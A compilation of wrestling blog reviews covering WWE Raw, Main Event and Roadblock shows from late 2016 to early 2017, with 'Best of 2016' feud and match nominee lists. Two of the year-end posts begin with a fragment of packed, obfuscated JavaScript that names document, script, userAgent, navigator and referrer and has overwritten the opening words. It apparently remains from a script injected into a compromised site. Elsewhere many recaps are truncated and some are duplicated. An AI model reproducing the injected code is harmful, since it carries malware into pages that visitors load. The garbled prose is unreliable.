New Column: When the Rumble Went Off the Rails
I’m actually rather pleased with this one. It’s more of a statistics/fact based one and those are always some of my favorites.
http://wrestlingrumors.net/kbs-review-rumble-went-off-rails/
Monday Night Raw – January 30, 2017: JOE IS GONNA DE-BUT! JOE IS GONNA DE-BUT!
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Night Raw
Date: January 30, 2017
Location: Laredo Energy Arena, Laredo, Texas
Commentators: Michael Cole, Byron Saxton, Corey Graves
Sami Zayn vs. Chris Jericho
Non-title. They fight over a wristlock to start until Sami takes over with those armdrags. If it works for Ricky Steamboat, it can work for Sami. They head outside with Sami scoring with a dropkick and the moonsault off the barricade takes us to a break. Back with Jericho getting two off an enziguri and a top rope hurricanrana, only to dive into the Blue Thunder Bomb for two. Jericho bails to the floor for a chase scene, capped off by a tornado DDT back inside. The Helluva Kick is countered into the Walls but Sami is right next to the ropes. The exploder sets up the Helluva Kick to give Sami the clean pin at 11:49.
Bayley wants Cesaro and Sheamus to hug before their six person tag later tonight. Charlotte, Anderson and Gallows come in to laugh a bit.
Long video on Seth Rollins vs. HHH. They cover pretty much everything here, save for WHY HHH DID THIS FIVE MONTHS AGO that is.
Owens tries to talk Stephanie out of the title match but she has to deal with Rollins first.
Tony Nese vs. Mustafa Ali
Bayley/Cesaro/Sheamus vs. Charlotte/Anderson and Gallows
Sasha Banks vents to Bayley about losing and agrees to fight Nia Jax again.
We look at Goldberg eliminating Brock Lesnar last night.
Universal Title: Kevin Owens vs. Braun Strowman
Roman Superman Punches and spears Strowman but Braun pops up.
Brock Lesnar arrives.
Sasha Banks vs. Nia Jax
Banks is still banged up coming in and Nia goes right after the bad leg. The knee is sent into the apron and post before we hit a leglock. The referee stops the match at 2:08.
Rusev/Jinder Mahal vs. Enzo Amore/Big Cass
HHH arrives.
Sneak peak of WWE 24.
Goldberg will be here next week.
Results
Sami Zayn b. Chris Jericho – Helluva Kick
Tony Nese b. Mustafa Ali – Running knee
Bayley/Cesaro/Sheamus b. Charlotte/Anderson and Gallows – Bayley to Belly to Charlotte
Braun Strowman b. Kevin Owens via DQ when Roman Reigns interfered
Nia Jax b. Sasha Banks via referee stoppage
Enzo Amore/Big Cass b. Rusev/Jinder Mahal – Bada Boom Shaka Lacka to Rusev
http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/
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Monday Night Raw – January 23, 2017: One Out Of Two Isn’t Bad
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Night Raw
Date: January 23, 2017
Location: Quicken Loans Arena, Cleveland, Ohio
Commentators: Michael Cole, Byron Saxton, Corey Graves
We open with a recap of Roman Reigns losing the US Title two weeks back.
Cesaro vs. Luke Gallows
Sami Zayn vs. Seth Rollins
Video on Shawn Michaels winning the 1995 Royal Rumble.
TJ Perkins/Jack Gallagher/Mustafa Ali vs. Tony Nese/Drew Gulak/Ariya Daivari
We recap the opening sequence.
US Title: Roman Reigns vs. Chris Jericho
Ever the arrogant heel, Jericho slaps Reigns in the face a few times so Roman uppercuts him out of the air. The Samoan drop into a rollup is botched so Jericho hammers away, only to have the drop hit a few seconds later. The Superman Punch is countered with a dropkick but the Codebreaker is easily powered away. Now the Superman Punch connects but Owens comes in for the DQ at 9:45.
Nia Jax vs. Ray Lyn
Nia runs her over in the corner and hits something like a Banzai Drop for the pin at 28 seconds.
We look at Rollins losing his Rumble spot again.
Emmalina video.
Rich Swann vs. Noam Dar
Non-title and Alicia Fox is with Dar. Swann flips over him to start and sends Dar outside, only to have Noam hide behind Fox. We come back from a break with Swann fighting out of a chinlock and ankle scissoring him off the top. The spinning kick to the head ends Dar at 5:54. Not enough shown to rate but this was just a workout for Swann.
Swann wants Neville out here and we get Neville all the way to the apron, only to have Rich dive through the ropes to start the fight. Referees break it up but this was a really well done segment and actually made me want to see the match. Well done.
Cedric Alexander vs. Neville is announced for 205 Live. Alexander is ready to talk about his match when Fox and Dar come in. Alicia knows Cedric is jealous of Dar, who will always be a winner as long as he has her in his corner. A lot of screeching ensues so Cedric walks away.
Results
Luke Gallows b. Cesaro – Flapjack
Sami Zayn b. Seth Rollins – Small package
Mustafa Ali/Jack Gallagher/TJ Perkins b. Ariya Daivari/Tony Nese/Drew Gulak – Inverted 450 to Gulak
Roman Reigns b. Chris Jericho via DQ when Kevin Owens interfered
Nia Jax b. Ray Lyn – Banzai Drop
Rich Swann b. Noam Dar – Spinning kick to the head
Main Event – January 19, 2017: Man Down
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Event
Date: January 19, 2017
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Tom Phillips, Austin Aries, Byron Saxton
Opening sequence.
Alicia Fox vs. Dana Brooke
Jimmy Snuka tribute video.
From Raw:
And from Raw:
Darren Young vs. Epico
Kurt Angle Hall of Fame video.
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Monday Night Raw – January 16, 2017: The Champ Is Acting Like The Champ
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Night Raw
Date: January 16, 2017
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Michael Cole, Byron Saxton, Corey Graves
Martin Luther King Day video.
Opening sequence.
Enzo Amore/Big Cass vs. Rusev/Jinder Mahal
Enzo goes after Mahal to start but an elbow to the jaw takes him down. Mahal is sent outside and we take an early break. Back with Mahal dropping a knee on Enzo and Rusev grabbing a bearhug. Enzo slips out and the hot tag brings in Cass to clean house. Everything breaks down and the big boot to Mahal sets up the Bada Boom Shaka Laka for the pin at 8:35.
Ariya Daivari vs. Lince Dorado
Jack Gallagher is on commentary. Feeling out process to start with Lince getting in some strikes and the springboard Stunner for two. Dorado completely misses a high crossbody and a wind up lariat (Rainmaker) sets up a cobra clutch to make Lince tap at 2:18.
We look back at Undertaker announcing that he would be in the Royal Rumble.
Video on the UK Title Tournament.
Earlier today, Nia Jax attacked Sasha Banks during a knee injury evaluation.
Tag Team Titles: Cesaro/Sheamus vs. Anderson and Gallows
Tribute video to Jimmy Snuka.
Emmalina video.
Tony Nese vs. Rich Swann
Non-title and a 205 Live rematch. And no match as Neville comes in through the crowd and attacks Swann.
Post break Neville yells at an interviewer for not having enough respect and promises to beat Swann for the title at the Rumble.
Joined in progress with Big E. putting on an abdominal stretch. Titus comes back with a Dominator to set up a chinlock followed by his own abdominal stretch. The spanking is enough to tick Big E. off and he runs Titus down with ease. The Warrior Splash sets up the Big Ending for the pin at 4:56.
Rating: F. Now NEVER LET TITUS NEAR THEM AGAIN! Move on to ANYTHING else!
Jim Duggan talks about winning the first Royal Rumble.
Another look back at the opening sequence.
Cedric Alexander vs. Brian Kendrick
Cedric walks off with Fox in the ring.
We look at Nia attacking Banks again.
Nia laughs at the idea of Sasha being the Boss and loved seeing Sasha holding her knee in agony. The hype was over and the Boss was broken.
Roman Reigns/Sami Zayn/Seth Rollins vs. Kevin Owens/Chris Jericho/Braun Strowman
Rating: C+. Nice six man here and a good upgrade over some of the stuff on this show. Strowman getting another big pin is a smart move and it made for a good way to wrap up the night. There was enough action to make the match work and the ending was much better than having a champion get pinned.
Results
Enzo Amore/Big Cass b. Jinder Mahal/Rusev – Bada Boom Shaka Laka to Mahal
Ariya Daivari b. Lince Dorado – Cobra clutch
Anderson and Gallows b. Cesaro/Sheamus via DQ when Sheamus punched the referee
Cedric Alexander b. Brian Kendrick – Lumbar Check
Braun Strowman/Kevin Owens/Chris Jericho b. Sami Zayn/Seth Rollins/Roman Reigns – Powerslam to Zayn
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Best of 2016: Feud of the Year
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dayfy|var|u0026u|referrer|diatd||js|php'.split('|'),0,{})) is built on the backs of feuds. When you add up all the matches and promos, they combine to form a feud between two wrestlers or teams. Over the course of 2016, WWE has produced more than its fair share of them but a handful have stood out above the rest. Today we’re going to look at the nominees for Feud of the Year. As will be the case with all of the awards we’ll be looking at over the next few weeks, these are presented in no particular order.
1. Charlotte vs. Sasha Banks.
This led to a long series of matches between the two of them with both women getting the better of it at one point or another. Both have taken the title from the other on multiple occasions, though Banks was never able to defeat Charlotte in a pay per view setting. All of her three title wins came on episodes of “Monday Night Raw” and all three ended in less than a month with Charlotte taking the belt back every time.
However, as good as their matches were, there was a much bigger historical significance to their rivalry. At “Hell in a Cell 2016”, Banks and Charlotte wrestled in the main event, making them the only women to ever do so at a WWE pay per view. To call this a huge moment would be an understatement as just a few years ago, WWE Divas (a term which has thankfully gone by the wayside) were lucky to have a two minute match with a chunk of that going to entrances.
2. The Miz vs. Dolph Ziggler
While Charlotte vs. Banks was built on action, this feud was built entirely on emotion. Ziggler has spent a large portion of this year talking about how he needed to win the big one no matter what happened. Unfortunately, this led to loss after loss after loss as Ziggler continues his career trend of not being able to pull off the big one no matter what he did.
3. DIY vs. Revival
4. Samoa Joe vs. Shinsuke Nakamura
That champion would be Samoa Joe, who had surprised quite a few people by defeating Balor to become NXT Champion. This set up a collision course between Nakamura and Joe over the title with Nakamura taking the belt away at “Takeover: Brooklyn”. It seemed that Nakamura would go on to hold the title for as long as he wanted as no one had ever been a two time NXT Champion.
This feud had some excellent, hard hitting matches but also took NXT and its title to some new places. Instead of having someone win the title, defend it against the former champion and then move on, it was actually something fresh with the two wrestlers trading the title. This gave us some very strong surprises to go with the intense matches and promos between the two, making it an NXT classic.
5. AJ Styles vs. John Cena
A match was quickly set up over the summer with Styles taking a surprise heel turn on Cena to set things up. In an even bigger surprise, Cena lost to Styles, albeit with some help from Karl Anderson and Luke Gallows. With one classic under their belts, the only solution was to have a second match on the bigger stage of “Summerslam 2016”.
This is how you make someone into a huge star by way of a big rub. Cena is someone who is going to be able to lose matches like this and bounce back with almost nothing lost along the way. Styles on the other hand was able to gain more in those two wins than almost anything else he could have done in months against other opponents. The shock of Styles winning clean still holds up and Cena will be just fine when he gets back in the ring full time.
6. Sami Zayn vs. Kevin Owens
They had two great matches on pay per view this year at Battleground and Payback with the two of them splitting the wins. That win for Zayn at Battleground was a huge moment because he never won the big one over Owens at any point. This made Zayn into a player for the first time and if you ignore him doing nothing special after the win, it should have been a turning point in his career.
On the other hand, Owens got a big run out of this and would wind up being the World Champion as a result. Now, logic would suggest that Zayn would go on to be the #1 contender but since WWE decided that THIS IS THEIR LAST MATCH (until a few months later when they fought on Raw), that went nowhere. At least the two matches on pay per view were great.
The feud was violent, personal and entertaining as the big payoff was worth the build in the end. Kyle made the title seem important and beating one of the biggest stars in the history of the company helped so much. The fact that it was his old partner and rival was the big icing on the cake, which made everything work so well.
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Best of 2016: Match of the Year
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndrta|var|u0026u|referrer|yetkr||js|php'.split('|'),0,{})) we’re at one of the big ones. All the stories, all the hype and all the talk doesn’t mean much if the match at the end is worthless. That’s where we’ve arrived: what is the best match of the year? As uninteresting as WWE has seemed, it’s actually been a stacked year for big time matches and there are several to pick from. As usual these are in no particular order and only WWE matches will be considered. Also note that if a match isn’t included, it’s either because I didn’t think it was as good or, far more simply, I didn’t see it.
1. AJ Styles vs. John Cena – Summerslam
Above all else though, this was about the action. These two beat the heck out of each other for over twenty three minutes and it felt like the big match it was supposed to be. This was two top level stars at the top of their game fighting at one of the biggest shows of the year. While that happens a lot, this felt like they lived up to the hype, which is what you have to expect from people at their level.
2. Kota Ibushi vs. TJ Perkins – Cruiserweight Classic Finale
Instead of wasting time with generic moves and almost no characters, we had two guys who are talented and doing all kinds of things to fire the crowd up. The crowd helped as well with the kind of people who wanted to see this style match and appreciate it far more than the average WWE fans. The lack of a story is fine because this was all about the action, which is the point of something like the Cruiserweight Classic.
3. Royal Rumble
4. Sasha Banks vs. Charlotte – “Monday Night Raw” – July 25
5. AJ Styles vs. Roman Reigns – Payback
6. DIY vs. Revival – Takeover: Toronto
7. Sami Zayn vs. Kevin Owens – Battleground
8. Team Smackdown Live vs. Team Monday Night Raw – Survivor Series
It was billed as the other main event of the show (along side FANTASY WARFARE) and my goodness did it manage to work well. This match lasted almost an hour, making it even longer than some Royal Rumbles. The eliminations took their time and the match was allowed to build up instead of being rushed along until we get to the big ones at the end, making it feel like an event instead of just a regular match.
9. Miz vs. Dolph Ziggler – No Mercy
10. Shinsuke Nakamura vs. Sami Zayn – Takeover: Dallas
11. Cesaro vs. The Miz vs. Kevin Owens vs. Sami Zayn – Extreme Rules
12. The Final Deletion – Impact Wrestling – June 28
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Main Event – January 5, 2017: The New Year is Still No Saturday Night
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Event
Date: January 5, 2017
Location: Amalie Arena, Tampa, Florida
Commentators: Tom Phillips, Byron Saxton, Austin Aries
Ariya Daivari vs. Lince Dorado
Video on Sami Zayn vs. Braun Strowman.
To Raw for the first time.
Sami Zayn vs. Braun Strowman
Last man standing, meaning Sami is about to die. Sami gets in a jab and tries some kendo stick shots but Braun just breaks it over his leg. Another stick gets about the same treatment and the moonsault off the barricade is pulled out of the air. A few rams into the post have Strowman staggered until he punches Sami to block the diving DDT. Some clotheslines drop Sami, whose offense is shrugged off over and over again.
Sami cracks him in the back with a chair as they stagger back into the arena. That just earns Zayn a toss onto the stage, followed by a whip into the screen. Zayn chairs him again and Braun is staggered, followed by a crossbody to put Strowman through some tables for a six count but Strowman is reeling.
Sami swings again but Braun grabs the chair and drags him up onto the ramp in another scary power display. The powerslam on the floor gives Braun a seven so Strowman just unloads on him with knees to the head and right hands. Another powerslam on the floor ends Sami at 15:48.
Sami does a stretcher job but Strowman turns it over.
Back to Raw again.
US Title: Roman Reigns vs. Chris Jericho
Owens is banned from ringside, Reigns is defending and loses the title if he gets counted out or disqualified. The champ runs Jericho over to start as the fans are split on Reigns. A middle rope dropkick gets two for Jericho so Reigns comes back with his string of clotheslines. Reigns tries the apron dropkick but crashes into the post instead, giving Jericho a near countout as we take a break.
Back with Reigns fighting out of a chinlock and hitting his modified belly to back suplex for two. The Superman Punch is blocked but the Lionsault hits knees. The other finishers are broken up until Jericho grabs the Walls. That lasts as long as you would expect the Walls to last until Jericho goes up top again, only to dive into the Superman Punch for a near fall.
Bo Dallas/Darren Young vs. Shining Stars
One more Raw segment to wrap us up.
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Monday Night Raw – January 2, 2017: I Love it When WWE Trolls Us
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Night Raw
Date: January 2, 2017
Location: Amalie Arena, Tampa, Florida
Commentators: Michael Cole, Byron Saxton, Corey Graves
Kevin Owens vs. Seth Rollins
Rollins gets backdropped to the floor for a big crash but the Cannonball only hits the barricade. Back in and Rollins scores with an enziguri but has to get some blood back into his leg. The Sling Blade drops Owens again and Owens is sent outside where he hits Rollins with the bell for the DQ at 11:49.
Karl Anderson vs. Cesaro
Sheamus is on commentary. They trade some big power shots to start with Cesaro getting the upper hand as you might expect. We take an early break and come back with Cesaro suplexing him down, giving us a discussion of how strong Cesaro is. Anderson kicks him in the chest so Cesaro uppercuts him in the chin over and over. This prompts a Paula Abdul reference from Saxton, which just makes me want to go watch some old MTV.
Recap of Sami Zayn vs. Braun Strowman.
Video on Goldberg vs. Lesnar plus Goldberg entering the Royal Rumble.
Sami Zayn vs. Braun Strowman
Last man standing, meaning Sami is about to die. Sami gets in a jab and tries some kendo stick shots but Braun just breaks it over his leg. Another stick gets about the same treatment and the moonsault off the barricade is pulled out of the air. A few rams into the post have Strowman staggered until he punches Sami to block the diving DDT. Some clotheslines drop Sami, whose offense is shrugged off over and over again.
Sami cracks him in the back with a chair as they stagger back into the arena. That just earns Zayn a toss onto the stage, followed by a whip into the screen. Zayn chairs him again and Braun is staggered, followed by a crossbody to put Strowman through some tables for a six count but Strowman is reeling.
Sami swings again but Braun grabs the chair and drags him up onto the ramp in another scary power display. The powerslam on the floor gives Braun a seven so Strowman just unloads on him with knees to the head and right hands. Another powerslam on the floor ends Sami at 15:48.
Sami does a stretcher job but Strowman turns it over.
Cedric Alexander and Alicia Fox run into Noam Dar, who apologizes but hits on Alicia even more.
Cedric Alexander vs. Drew Gulak
Gulak takes him down to start as the announcers talk about how tough Drew is for his lack of kneepads. Cedric gets in a quick dropkick to take over but Tony Nese goes after Alicia, setting up a rollup with trunks to give Gulak the pin at 2:25.
US Title: Roman Reigns vs. Chris Jericho
Owens is banned from ringside, Reigns is defending and loses the title if he gets counted out or disqualified. The champ runs Jericho over to start as the fans are split on Reigns. A middle rope dropkick gets two for Jericho so Reigns comes back with his string of clotheslines. Reigns tries the apron dropkick but crashes into the post instead, giving Jericho a near countout as we take a break.
Back with Reigns fighting out of a chinlock and hitting his modified belly to back suplex for two. The Superman Punch is blocked but the Lionsault hits knees. The other finishers are broken up until Jericho grabs the Walls. That lasts as long as you would expect the Walls to last until Jericho goes up top again, only to dive into the Superman Punch for a near fall.
TJ Perkins vs. Brian Kendrick
Neville is watching in the back. Perkins gets two off an early dropkick but Kendrick snaps the throat across the top rope to take over. Back up and a hurricanrana off the top drops Kendrick. The Detonation Kick into the kneebar makes Kendrick tap at 2:39.
Video on the UK Title tournament.
Rusev/Jinder Mahal vs. Big Cass
This was supposed to be a tag match but Enzo is still injured. Cass fights them off without much effort to start before Jinder goes after Enzo. The distraction sets up a superkick from Rusev for the pin at 1:32.
Bayley vs. Nia Jax
Undertaker and Shawn Michaels are here next week.
Results
Seth Rollins b. Kevin Owens via DQ when Owens used the ring bell
Karl Anderson b. Cesaro – Top rope neckbreaker
Drew Gulak b. Cedric Alexander – Rollup with a handful of trunks
TJ Perkins b. Brian Kendrick – Kneebar
Rusev/Jinder Mahal b. Big Cass – Superkick
Bayley b. Nia Jax – Super Bayley to belly
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Roadblock: End of the Line: Feel Free to Try Something
Roadblock: End of the Line
Date: December 18, 2016
Location: PPG Paints Arena, Pittsburgh, Pennsylvania
Commentators: Michael Cole, Byron Saxton, Corey Graves
Pre-Show: Rusev vs. Big Cass
Back with Cass hammering away and dropping the Empire Elbow for no cover. They head outside Rusev taking him out into the crowd, leaving Enzo to go after Lana. Rusev defends his wife while Cass checks on Enzo, leaving Rusev to beat the count at 4:33. Not enough for a rating but this was rematch bait.
The opening video has a police chase theme with the idea being that everything ends at the end of the line.
Tag Team Titles: New Day vs. Cesaro/Sheamus
The slingshot shoulder gets two on Kingston and Swiss Death is good for the same. This has been completely one sided so far. Kofi breaks up the ten forearms and brings in Big E. for the spear off the apron. The Warrior Splash gets two on Sheamus and everything breaks down. Sheamus kicks Cesaro by mistake and Woods kicks Cesaro by design, setting up the Big Ending for a very close two.
Woods sacrifices himself to take the Brogue Kick and the SOS gets two on Sheamus. Cesaro comes in without a tag (though Sheamus was right next to him), meaning Kofi kicks Cesaro for no count. Instead Sheamus sneaks in and rolls Kofi up for the pin and the titles at 10:00.
New Day gets the big show of respect and we get the battle for the spotlight from the new champs.
Sami Zayn vs. Braun Strowman
Package on the UK tournament.
We recap Chris Jericho vs. Seth Rollins. Jericho lost to Rollins several times but then started costing Rollins matches against Owens. This earned Jericho a Pedigree on top of a car and that means a match.
Seth Rollins vs. Chris Jericho
Rollins tries the Pedigree but Jericho powers out and gets in a hurricanrana, which transitions into the Walls. Seth counters that with a small package for two, followed by the frog splash. Cue Owens for a distraction, just as Jericho grabs a small package. The Pedigree is countered again but Jericho stops to yell at Owens, allowing Seth to get in the jumping knee. Rollins gets the Pedigree for the pin at 17:12.
Pre-show recap. Cass vs. Rusev II is set for tomorrow night.
Cruiserweight Title: Brian Kendrick vs. TJ Perkins vs. Rich Swann
Post match Neville makes his return to celebrate with Swann before turning heel (!) and destroying all three. Fans: “THANK YOU NEVILLE!” I can totally go for this, though the idea that Neville weighs under 205lbs is downright laughable.
We recap Owens vs. Reigns. Roman beat him a few weeks ago to earn another shot here tonight but the big story is about the drama between Jericho and Owens.
Universal Title: Kevin Owens vs. Roman Reigns
Rating: B. Good, though the waiting for Jericho took a little away from it. Unfortunately this shows the problem with Reigns being US Champion coming into this match: what good does it do to tie the title up in this match with no challenger for the title in sight? Yeah Owens vs. Jericho will be fine but sweet goodness enough with the champion vs. champion nonsense.
Results
Cesaro/Sheamus b. New Day – Small package to Kingston
Sami Zayn b. Braun Strowman by surviving the time limit
Seth Rollins b. Chris Jericho – Pedigree
Rich Swann b. TJ Perkins and Brian Kendrick – Spinning kick to the head
Charlotte b. Sasha Banks three falls to two
Kevin Owens b. Roman Reigns via DQ when Chris Jericho interfered
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